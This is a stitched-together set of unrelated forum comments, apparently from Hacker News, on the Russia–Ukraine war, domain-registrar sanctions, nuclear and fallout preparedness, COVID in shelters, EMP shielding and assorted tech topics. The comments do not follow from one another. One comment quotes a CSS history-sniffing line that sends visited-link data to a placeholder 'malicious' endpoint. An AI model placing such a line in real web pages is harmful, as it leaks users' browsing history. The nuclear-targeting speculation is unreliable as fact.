> If a system doesn't work as its human operators intend, that's a system failure, not a human being failure.

Well, I think we have to consider who was responsible for it not working as its human operators intended (my use of 'who', rather than 'what', in that sentence is not a grammatical error; it is a clue as to the correct answer.)

Unless the outcome described here was one of the explicit goals of the creators of the system, then you cannot assume it was an intended outcome, as opposed to an unintended consequence of what they chose to do. If it was the latter, then "that's what it will do" is not a justification for what it does do; if it was the former, then it was just a bad choice. The only way to justify the situation is if there was no alternative that was not strictly worse, and if so, then it should be made clear that it is so.
The passenger jet example isn't the best, since the US shot down a passenger jet.

If "[s]tack manipulations are a real problem" (I say there are none if you're writing the code and know not to add any problematic stack manipulations) then avfork() should satisfy that concern.
The problem with the slippery slope fallacy is that it goes both ways. If they're not able to suspend service during a war of conquest on the home of their employees, when can they?
That's because nation-state politicians are unwilling to give away powers, which is what happens when you focus away from skilled administrators.
General Fusion's demo plant should be operational in 3-4 years.
Isn’t it also because Linux itself is controlled by Git?
In the end it is still and occupation and people fear Putin’s purge. There will be refugees. Compare how Iraq, Afghan invasions were and this one is. I am not aligned with Russia one bit but difference is indeed stark.
If that makes you feel better; go for it.
I see you've discovered moral relativism.
Get it w/o headers, and solder them; A half an hour job for a trembling hand.

Since you seem to only need one board, I don't see how this is an issue.
Not too surprising, they barely cover anything else.
Nice. Very difficult though, even for a former Scrabble expert like me, :)

My suggestion is to not remove the letters as they’re typed. It’s very jarring and unusable that way. You should just “disable” the used ones and keep them in the same place.

Also, is there a way to remove letters from the play area after they’re used? Or start from a clean slate without refreshing the page?
what i'm hearing is that you have insufficient pi. if the dhcp were a pi and the nas were a pi, then they'd be ready before your doing-stuff pi timed out
I've never minded not knowing my colleagues' compensation.

I've also never minded having to do some research before undertaking a job search or considering an offer.
The good news is, Providence _probably_ isn't on the top of anyone's to-bomb list, so a direct blast likely isn't going to be a concern.

"The principles of MAD have been narrowed for a post cold-war age. Now that Russia and the United States have decreased their nuclear arsenals, it's been decided mutually that only Providence and Shoyna are to be bombed."
I'm no military expert, but it seems like common sense to assume that if the Russian government gets a single nuke off the ground it will be the last thing they ever do.
The backstory - from what I've gathered so far after reading way too much in the last hours - is that there is some confusion here. The border is officially closed for men of fighting age, women and children are being led through, and are given transportation.

Badly communicated orders are apparently the cause of the males being stopped from crossing, and in the confrontation there were some scuffles. You don't get to demand your rights and confront a bunch of soldiers that may well not speak English and/or have been given strict but ultimately faulty instructions.

So this is all probably true but needs a lot more context.
well im not russian but perhaps i should take my domains off namecheap nonetheless. punishing innocent civilians?? fuck this loser virtue signalling ceo
For a large area around a nuclear blast you'll be dead anyways. It's just choosing to minimize suffering on the way out.
I don't consider pay equality a long term gain. I like negotiating for my compensation. I like that there's room to do so because different people have different needs and bring different value to the table, different employers have different resources available, etc.
It seems like we were meant to be in a constant state of fear. The war on terror seems to have abated and now we get to worry about covid and nuclear explosions?

I believe it was steve pinker who showed that we live in the most peaceful time in human history. And yet, we are the most fearful people in history. It never lets up.
Dumb question that's going to reflect a lot of basic ignorance about hardware, electricity, and magnetism: how do I protect this radio from EMP? Similarly, what's going to ensure that the broadcast infrastructure survives the blast and EMP to disseminate information to the people with radios?
Unfortunately, it seems like mass protests are the best option at this point. Otherwise, Russia and the world will suffer.
If you're suddenly sheltering with a bunch of unknown people, then taking aggressive hygeine precautions is just sensible so you don't all get the same illness within days of a major disaster.

You also need to be constantly cleaning everything (military barracks aren't just doing that for discipline purposes).
sorry, where exactly is julian assange?
I don't agree, this is another friction to the Russian economy that directly hurts the Russian government's ability and will to continue.

>North Korea got to the point where they were literally eating grass in the 90s, and the Kims are still there.

And Putin's goal is to end up begging China for food?
Again, COVID is just not that high a concern to mention it 8 times on a short page that is supposed to be giving advice about surviving a nuclear explosion.

You also don't want to light yourself on fire if you're cold, slit your wrists to drink the blood if you get thirsty, or try to loot the nearest gun store for protection.

Bringing hand sanitizer with you is stupid and ridiculous, and so is social distancing from your family or people who you are with while you're trying to help each other through the disaster. It's idiotic and wrong. Again, water, shelter, warmth, and basic communication are the most important.

Covid is an absolute non-issue in this situation.
I'm missing some toes from the old react lifecycle methods. The vanilla hooks were easy to use, reason about, and robust against misuse in a way the lifecycle methods weren't.

I could see custom hooks being more dangerous and difficult, but Higher-Order Components are too.
My brother has that in his apartment and it's not very bright. It's fine in a bedroom if you just want to relax, but not as a main light source.
They should probably add the FTC ad-disclosure tag to those job posts since the companies are financially related. Or maybe they don't have to since they are related?
Yes, I'm sure the thing that will finally lead the russian people to rise up against Putin will be some random non-russian domain registrar forcing them to transfer their domains to a russian one. We truly are living in the age of armchair activists, huh?
I suspect you could easily find a summer position in a research lab if you ask some professors and show enthusiasm! In fact, I did this my freshman and sophomore summers, while most of my classmates went back to their hometowns. (It is only not "normal" because so few students ask.)

If you are a US citizen, I also recommend looking at summer internship postings at US national labs. My impression is that not many people know about them and hence don't apply. (Not to mention they must compete with more lucrative industry internships.)

Also note that as a freshman, you will likely not be writing papers much but moreso learning good research techniques. However, it is common at the end of the summer to present a poster or technical report. (Make sure you discuss this with the professor upfront if that is your goal.) Good luck!
I've said as much in previous comments, but I certainly want to use this device!

It's got an open SDK, binaries are freely loadable and runnable. The Lua API at least is quite simple, and plenty enough to get a backend dev like me up and running with my own games, on real gaming hardware! That's almost never been practical, in my experience anyways. Playdate promises to dramatically lower the barrier to portable game development; I'm looking forward both to playing with it, and helping show my son that he too can make awesome things with computers.

The crank is seemingly a gimmick but a good one, and I'm looking forward to seeing how it is (or isn't) incorporated in games. It seems to have inspired a good bit of creativity, at least in the Season One games they've demoed so far.
“Goodnight nobody, goodnight mush”

That line from Goodnight Moon fascinated me. What a strangely beautiful bit of absurdism in a children’s book!

This article really makes clear the beauty of the pacing and care for language in her work. Brown apparently spent several years crafting language of each of her stories. It’s quite subtle but much more evident when compared to some of the clumsier modern children’s books that I’ve read.

Also I think there are real insights for parents to be gained from considering her work. Brown really takes the subjective, sensory experiences of children’s seriously. It’s not easy for an adult to remember the sensations of feeling the world for the first time but i think it’s really important to try to have empathy for how children experience life.
I think the reason people laughed was because they don't see the difference between the US gathering intel on say Iraq / Afghanistan and other countries in that area versus gathering intel on Russia or the European Union. They are very good at the latter.
Just a passing thought: the same incentives exist for extremist terrorist groups, if they win they achieve sovereign immunity absolving all past indiscretions, and maybe a cool new emoji in the next iOS update. when people have nothing to lose they have all to win.
Wait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint) }
Personally I'd hope that anyone that gets their offices bombed by another nation would stop and think critically about how much they want to support the people trying to literally kill them.

Profit isn't everything.
this strikes me as the sort of thing that ends up as an engineering enhancement to an RTG that’s like “hybrid radio fusion heat engine” and uses a radioactive source together with this lattice confinement fusion material and end up with something like a 20% efficiency instead of the current 7.5%, but is otherwise never used outside of space probes.
Levada is probably the only one that paints a somewhat realistic picture. They've had their share of problems with the dictator's government because of that.
Check out Radicle. It's like a p2p git.

Why should NameCheap have done anything differently? The idea that they should have run their company differently so that they could keep doing business with a hostile country presumes that it's more desirable for them to do that than hire Ukrainians.
> I, for one, believe that we should enact stronger protections to ensure that research partially performed at publicly-funded labs remains in the hands of the public.

OK...

> In particular, I think that the Bayh–Dole Act should be strengthened to vest the patent with the institution directly, and to create a default presumption that the institution owns the IP.

What happened to remaining in the hands of the public? How does the public benefit from this? With the patent assigned to Broad, nobody's allowed to use it without permission from Broad. With the patent assigned to the UC system, nobody's allowed to use it without permission from the UC regents. As far as the public is concerned, there's no difference.
Who do you think you are calling people struggling to get by to wake up from their “comfy lethargy” and “actually protest”?

People don’t protest when they’re struggling to make ends meet and civil institutions are weakened.

The only effect of the inhumane economic sanctions has been tightening the ruling class’s grip. They did not work in Iran, Iraq, Venezuela, not even Syria. They have however caused enormous human suffering.
Well, also the wilderness can't support a large foraging population for more then a couple weeks at most. Like, there are straight up too many people for wilderness survival to work at scale - North Korea is in widespread ecological collapse because its population has essentially stripped the wilderness bare trying to survive.
If you want to live in the woods, fine, but you probably want to wait, inside (in a basement or building interior), for a few days so the shorter halflife stuff in the fallout can decay significantly. Plus you'll want to wait and see where everyone else is going, so you can avoid traffic.
>You don't need a domain name to read news, access the internet, bypass firewalls, etc.

monday_ is setting up infrastructure to help other people do those. I can see how a domain could be helpful for that.
I live next to New York City. Are we screwed

You're probably screwed unless you have an extensive shelter that you can stay in for days or weeks. I'd expect NYC to be high on the list of targets with multiple warheads.

Based on a simulator [1], An single 8 megaton airburst has a 28 mile radius of "extensive injuries/fatalities. With a dangerous fallout cloud hundreds of miles long (winds may blow it toward or away from you)

https://www.nuclearwarmap.com/

(their 1000 warhead large attack scenario predicts almost 200 million deaths across the USA)
Yes, I am certain the background this particular website provides will be super objective and unbiased.....
You do realize that this advice is supposed to apply for some time into the future, i.e. potentially during the next wave, right? Risk assessments are fluid and change with conditions. Covid precaution hostility is not rational.
That same logic does apply. Private indivuduals of ISIS would not have sold services to the US, or vice versa, or for any other war in a century.
Looks parve to me, since it's not from a cow. Cow proteins are not what make something milchig.

However there are still issues where it looks like milk, and someone could be confused, so the same precautions as for almond milk would need to be taken.
Ukraine Government email to ICANN (requesting shutdown of .ru root DNS servers)
WMDs or not, Saddam Hussein's Iraq did not in any way resemble Canada or Ukraine.

The problem with this kind of whatabboutism is that the US invades places run by morally reprehensible people. To keep the comparison with Ukraine going, you've either got to convince us that Saddam Hussein was a nice guy, or Zelenskyy is a butcher. Everyone knows that's bullshit.
This smells funny. It doesn't list any names, at all, and it only focuses on one issue -- Apple's browser restriction, which as others point out is a nuanced issue.
Pardon my ignorance, but doesn't nic.ru already make money for each .ru domain that is registered?

Much like Verisign makes money for each .com/.net and Affilias makes money for each .name/.org that is registered?

Isn't the whole point of running a registry that you also get to collect some sort of fee for running the service?
Probably. Unless they're missile silos that are housing nuclear weapons meant to be used as part of an automated nuclear response, US military bases are surprisingly low on the nuke priority list.

The eastern seaboard, communications hubs and centers of industry will go first.

It's easy to mop up the military bases once the command structure and supply lines have been annihilated (and defectors/equipment may come in handy post-war). If the aggressor survives the initial strike, they basically just needs to wait.

(That'd only happen if the mutually assured destruction mechanisms failed. They're set up to glassify the surface of the earth once the government collapses. Most military bases get melted during that wave, but then so does everything else.)

The craziest part is that the Russians actually built the doomsday machine from Dr Strangelove, and then kept its existence secret.

Game theoretically, that somehow made it a better deterrent, as sarcastically posited in the film.

At least they didn't do something really dumb, like set the launch codes to all zeros()

() yes, that was the actual launch code. They probably didn't sticky note it to the monitor though, at least at first.
From what I've read it works well enough, but it's not terribly useful to most folk - given you're probably holding it in your hand while checking for radiation, if the camera is exposed, then so are you. Mostly useful as a "oh crap, I've been exposed to this much radiation???" dosimeter.

Maybe invest in a selfie stick if you plan on going anywhere "hot" with only your phone, so at least you can peek it around corners. But Geiger counter are not that expensive - I picked up a GQ GMC-300E-PLUS for about $125 AUD a while back, which also detects beta radiation and has nice data logging capability, easy to use readouts, etc.

(The 300E Plus is perhaps not a good example since it doesn't have a probe equivalent to the selfie stick idea, but comparing it to hand-holding the phone it is superior + I'm sure you could lash it to a stick if you really needed to)
What If CPU Was Forrest Gump?
I thought about your comment after you wrote it, and I recently read this article from The Atlantic.[0]

I agree with your assessment, and have changed my mind. I believe what the article suggests. That President Biden has actually handled this situation perfectly thus far, is the most correct analysis. Allowing Putin to turn this into the US vs Russia is the worst case scenario. He'd love that. Today? He's getting absolutely pummeled. I won't be surprised if the Russian people don't end up hanging him.

If it seems ridiculous to add COVID stuff here, consider that the nuclear stuff is equally ridiculous. No one wants to use nuclear weapons, and if they did it would be against military targets (mostly other nukes). If one did hit a populated area, the region between instantly dead and totally fine is narrow. Yet this page implies all readers are in that region, and the danger of fallout is highly exagerrated. Get to a shelter? What fration of a percent of the population can they accomodate? I just texted 43362 with my zip code (San Jose, CA) and got this reply: "We could not locate a SHELTER within 200 miles of [zip]." Even during the cold war hysteria of the early '80s, my town of 30,000 people had only one shelter: the bank.

The COVID-19 stuff is perfectly at home here.
If only we Americans had to face the brunt of our invasions and destruction of so many countries in the middle East and other places. Maybe one day we will.
The Oddly Addictive Quality of Google Alerts
Quantum Cryptography
This isn't about some nuance of wording at all. They are claiming A when they actually mean B, and my comment spells that out. Framing it as some trivial attack on wording is disingenuous. By that measure, any criticism of lies, misinformation, false messaging, etc. would become a quibble over wording.

I hope there's some substantive response to my original comment's content too, one that could lead to productive discussion.
I’m not sure if you misread my comment but I said the “sheer scale of people jailed for protesting”. Maybe I’m wrong too, but I think 100 people per city is absolutely crazy. I’m not sure 100 people have ever been jailed in my city in under a week, ever.

Otherwise I agree, I think we’re more or less on the same page.
No, they're clearly talking about quite immediately afterwards (as well as mentioning covid before, and during).

You do realize that this advice is useless at best, and that it is deliberate covid fearmongering, right?
Oh, I think part of this rapid coming together of companies and governments to imposes sanctions on Russia is as much about China -> Taiwan as it is about Russia -> Ukraine.

There are a variety of parallels in histories here. None of them exact except the clear desire subsume them. And while nothing about these situations is simple, part of the message were seeing may be aimed at China, as if to say "this is what will happen to you too".

That might not seem like a lot, but China's stability and economy as a whole is much more reliant on global commerce that Russia.

European countries know that a huge fraction of their energy comes from Russian sources, and Russia can turn that off, but the implied message right now is "we are willing to deal with those consequences" if/when Russia goes down that path. (Though economically, on top of the other sanctions, that would hurt them a lot too)

So part of the implied message to China is also that of, "Yes we know we rely on you for much, but we relied on Russia for a piece of basic, essential, fundamental infrastructure and were willing to let it go.".
Sure, it would, but I was addressing the issue of "can you explain why [a Chrome monopoly would be bad]".
Watch the "fallout" video I pasted elsewhere. It covers dealing with contamination.
Average flu deaths in the U.S. for the last decade are about 35,000 per year. In the U.S., even with vaccines and Omicron, we still had over 70,000 covid deaths in the last 30 days. Given that a typical flu season is 4 to 6 months long, I would say even the last month Covid has been much worse than a typical flu season. So, a covid outbreak in a fallout shelter would still be very difficult in that environment. There will be many older and otherwise immune-compromised people in a crowded shelter who are susceptible to a still highly contagious virus. It is completely reasonable to at least attempt to be cautious in the short term.

By the way, "everyone" is not vaccinated. Only 65% of Americans are fully immunized at this point. I'm not saying Covid is the threat it was a year ago, but some prudence is still reasonable.
It feels a bit ironic to be going through the third, or arguably fourth round of risk of nuclear war in my lifetime. I was a 1961 child, the live-use of A-Bombs was 15 years old, with Aldermaston marches and ban-the-bomb a 4-5 year old campaign at my birth, we had the cuban missile crisis before I was talking, then we had sufficient concern in the 70s they re-issued the guidance to home-made bomb shelters, then we had star-wars and the follow on of the pre-SALT pre-START talks, then we had the non- nonproliferation outcomes of India, Pakistan, South Africa, Israel, North Korea, now we have Russia moving weapons off cold-standby posture and Belarus re-enabling the toggle to be nuclear-capable by desire...

Ironic because it has in so many other ways been a blissfully peaceful 60 years for most developed economy citizens.

A metal box.

EMP isn't magic: it's an induced electric field in any long conductor from the a broadband intense burst of electromagnetism - basically any conductor turns into an antenna.

This sucks for transistor electronics because they're tiny, and the induced current can easily damage and blowout MOSFETs.

But any sealed metal container is a Faraday cage: the net electric field across it is zero. Same story for anything buried underground - the ground is conductive and zeros out the induced field almost immediately.

So pretty much a metal box is high likelihood, a buried metal box guaranteed.
